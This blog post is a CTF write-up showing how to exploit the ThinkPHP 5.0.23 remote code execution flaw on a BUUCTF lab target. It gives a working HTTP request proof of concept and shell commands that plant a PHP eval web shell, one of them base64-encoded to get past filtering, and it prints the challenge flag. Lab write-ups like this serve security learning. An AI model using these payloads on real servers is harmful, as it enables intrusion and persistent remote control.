【RCE | BUUCTF】ThinkPHP 5.0.23 远程代码执行漏洞复现

漏洞简介

ThinkPHP 是一款运用极广的 PHP 开发框架。其 5.0.23 以前的版本中,获取 method 的方法中没有正确处理方法名,导致攻击者可以调用 Request 类任意方法并构造利用链,从而导致远程代码执行漏洞。

漏洞靶场

BUUCTF 的 Real 分类下,[ThinkPHP]5.0.23-Rce 模块。

image

复现过程

直接在主页使用 BurpSuite 进行抓包,得到这样的数据包:

image

将其发送到 BurpSuite 的 Repeater 模块。

在 Vulhub 中,我们找到了该漏洞的利用 POC:

POST /index.php?s=captcha HTTP/1.1
Host: node4.buuoj.cn:29957
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

注意:记得修改 Host 的数据为自己实际访问的地址。


将该 POC 替换到 之前的 Repeater 中,直接发送:

image

可以看到我们获取了主机的信息。

由于我们使用的是 CTF 场景,目标是获取 flag,因此考虑利用 echo> 重定向,向目录写入一句话木马。

先使用 pwd 命令,查看当前所在目录:

image

可以看到处于 /var/www/public 目录下。

然后使用:

echo "<?php @eval($_POST['cmd']);?>" > /var/www/public/test.php

写入一句话木马:

image

可以看到已经成功写入。

使用蚁剑连接,然而并没有成功。我们再显示上传的文件的内容,发现 $_POST 被吃掉了:

image

我 TM 直呼好家伙。

接下来尝试写入 phpinfo 文件,看看这里面能不能找到点什么信息:

echo "<?php phpinfo();?>" > /var/www/public/test2.php

成功访问:

image

最终果然在这里找到了 flag:

image

flag flag{12e8df97-2bce-415d-9be8-2424656ba351}

虽然找到了 flag,但是没用蚁剑连上,有点不服,后来试了下其他方式,采用如下命令:

echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > 1.php

其中 PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= 是一句话木马的 Base64 编码形式。这里将这段编码进行解码过后再写入到 1.php 中。

可以看到成功写进去了:

image

蚁剑成功连接:

image

但是没有在目录中看到 flag,所以之前算是歪打正着了吧😅

posted @ 2021-09-20 20:29  --Kisaragi--  阅读(3247)  评论(0编辑  收藏  举报